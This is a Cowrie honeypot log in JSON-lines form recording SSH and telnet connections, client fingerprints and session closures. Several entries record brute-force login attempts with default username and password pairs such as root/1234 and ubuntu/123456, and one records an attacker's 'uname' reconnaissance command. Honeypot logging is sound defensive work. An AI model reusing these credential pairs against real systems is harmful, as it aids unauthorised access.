{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.401476Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40434,"dst_ip":"10.17.0.5","dst_port":23,"session":"9390a2ccc810","protocol":"telnet","message":"New connection: 62.210.97.77:40434 (10.17.0.5:23) [session: 9390a2ccc810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.419020Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.486846Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:08.491962Z","src_ip":"176.65.132.254","session":"ed4cf8389174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42968,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb02331af976","protocol":"telnet","message":"New connection: 65.60.27.33:42968 (10.17.0.5:23) [session: eb02331af976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:09.580289Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59524,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d3725f8d50","protocol":"telnet","message":"New connection: 62.210.97.77:59524 (10.17.0.5:23) [session: 87d3725f8d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:10.508951Z"}
{"eventid":"cowrie.session.closed","duration":44.14584016799927,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:11.210213Z","src_ip":"65.60.27.33","session":"f081d40c6e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.269388914108276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:11.873562Z","src_ip":"62.210.97.77","session":"d3d4cd87e91a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.626539945602417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:11.920101Z","src_ip":"62.210.97.77","session":"d4276f7213d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45802,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d5bd5d0b4ce","protocol":"ssh","message":"New connection: 176.65.132.254:45802 (10.17.0.5:22) [session: 3d5bd5d0b4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:12.039340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:12.049436Z","src_ip":"176.65.132.254","session":"3d5bd5d0b4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:12.136648Z","src_ip":"176.65.132.254","session":"3d5bd5d0b4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59528,"dst_ip":"10.17.0.5","dst_port":23,"session":"16234b57a012","protocol":"telnet","message":"New connection: 62.210.97.77:59528 (10.17.0.5:23) [session: 16234b57a012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:12.372445Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:12.457304Z","src_ip":"176.65.132.254","session":"3d5bd5d0b4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018663406372,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:12.994837Z","src_ip":"49.88.156.34","session":"f5ab4a93fcb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:13.549851Z","src_ip":"176.65.132.254","session":"3d5bd5d0b4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.40736961364746,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:13.730215Z","src_ip":"62.210.97.77","session":"3af5cb0eedb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4b51a296c09","protocol":"telnet","message":"New connection: 62.210.97.77:59544 (10.17.0.5:23) [session: d4b51a296c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:14.739376Z"}
{"eventid":"cowrie.session.closed","duration":34.600849628448486,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:15.329226Z","src_ip":"62.210.97.77","session":"2d3d43f71f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45814,"dst_ip":"10.17.0.5","dst_port":22,"session":"a202083adfff","protocol":"ssh","message":"New connection: 176.65.132.254:45814 (10.17.0.5:22) [session: a202083adfff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:16.045987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:16.051575Z","src_ip":"176.65.132.254","session":"a202083adfff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:16.139436Z","src_ip":"176.65.132.254","session":"a202083adfff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.95074009895325,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:16.178659Z","src_ip":"62.210.97.77","session":"ce9ca2742b8f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:16.397718Z","src_ip":"176.65.132.254","session":"a202083adfff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.36421608924866,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:16.995995Z","src_ip":"65.60.27.33","session":"f90c19af873b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:17.482973Z","src_ip":"176.65.132.254","session":"a202083adfff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":21748,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1bf8350ac24","protocol":"ssh","message":"New connection: 152.32.189.59:21748 (159.203.135.109:22) [session: d1bf8350ac24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:18.321757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:18.330793Z","src_ip":"152.32.189.59","session":"d1bf8350ac24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59550,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7fec49a00e0","protocol":"telnet","message":"New connection: 62.210.97.77:59550 (10.17.0.5:23) [session: d7fec49a00e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:18.388864Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:18.619412Z","src_ip":"152.32.189.59","session":"d1bf8350ac24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.90304517745972,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:18.980601Z","src_ip":"134.209.8.29","session":"bc55534f0e8b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"test123","message":"login attempt [es/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:19.487973Z","src_ip":"152.32.189.59","session":"d1bf8350ac24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d666c509c426","protocol":"ssh","message":"New connection: 176.65.132.254:45816 (10.17.0.5:22) [session: d666c509c426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.337718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.343017Z","src_ip":"176.65.132.254","session":"d666c509c426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.425185Z","src_ip":"176.65.132.254","session":"d666c509c426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.70760917663574,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.463229Z","src_ip":"38.54.119.93","session":"c92d92b9aedf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37298,"dst_ip":"10.17.0.5","dst_port":23,"session":"704eeef79bf1","protocol":"telnet","message":"New connection: 62.210.97.77:37298 (10.17.0.5:23) [session: 704eeef79bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.586317Z"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.674545Z","src_ip":"176.65.132.254","session":"d666c509c426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:20.712513Z","src_ip":"152.32.189.59","session":"d1bf8350ac24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.16169571876526,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:21.292679Z","src_ip":"134.209.8.29","session":"1921582f577b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.391767740249634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:21.391425Z","src_ip":"62.210.97.77","session":"ef2a500b5620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48692226409912,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:21.504816Z","src_ip":"62.210.97.77","session":"a57d538725bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:21.761163Z","src_ip":"176.65.132.254","session":"d666c509c426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.879871129989624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:21.829351Z","src_ip":"62.210.97.77","session":"53e83e287b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.679121255874634,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:22.223440Z","src_ip":"134.209.8.29","session":"bd769578c4af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.361143827438354,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:23.359529Z","src_ip":"38.54.119.93","session":"cc5f3bbdfc34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37314,"dst_ip":"10.17.0.5","dst_port":23,"session":"31bafd53723a","protocol":"telnet","message":"New connection: 62.210.97.77:37314 (10.17.0.5:23) [session: 31bafd53723a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:23.422176Z"}
{"eventid":"cowrie.session.closed","duration":33.89816069602966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:23.759839Z","src_ip":"62.210.97.77","session":"135c3e7480ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37322,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f774ef7560","protocol":"telnet","message":"New connection: 62.210.97.77:37322 (10.17.0.5:23) [session: 26f774ef7560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:23.853842Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34294,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddbc96f05386","protocol":"ssh","message":"New connection: 176.65.132.254:34294 (10.17.0.5:22) [session: ddbc96f05386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:24.338794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:24.490834Z","src_ip":"176.65.132.254","session":"ddbc96f05386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:24.498083Z","src_ip":"176.65.132.254","session":"ddbc96f05386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:24.840336Z","src_ip":"176.65.132.254","session":"ddbc96f05386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37332,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a174da1ff02","protocol":"telnet","message":"New connection: 62.210.97.77:37332 (10.17.0.5:23) [session: 7a174da1ff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:24.922056Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37338,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e55b076acde","protocol":"telnet","message":"New connection: 62.210.97.77:37338 (10.17.0.5:23) [session: 3e55b076acde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:25.080416Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37350,"dst_ip":"10.17.0.5","dst_port":23,"session":"18eb9a3f7c98","protocol":"telnet","message":"New connection: 62.210.97.77:37350 (10.17.0.5:23) [session: 18eb9a3f7c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:25.717005Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:25.943663Z","src_ip":"176.65.132.254","session":"ddbc96f05386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3852801322937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:26.327710Z","src_ip":"134.209.8.29","session":"54827171aa7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51222276687622,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:28.394095Z","src_ip":"134.209.8.29","session":"0a6b9dcc6ba9","protocol":"telnet"}
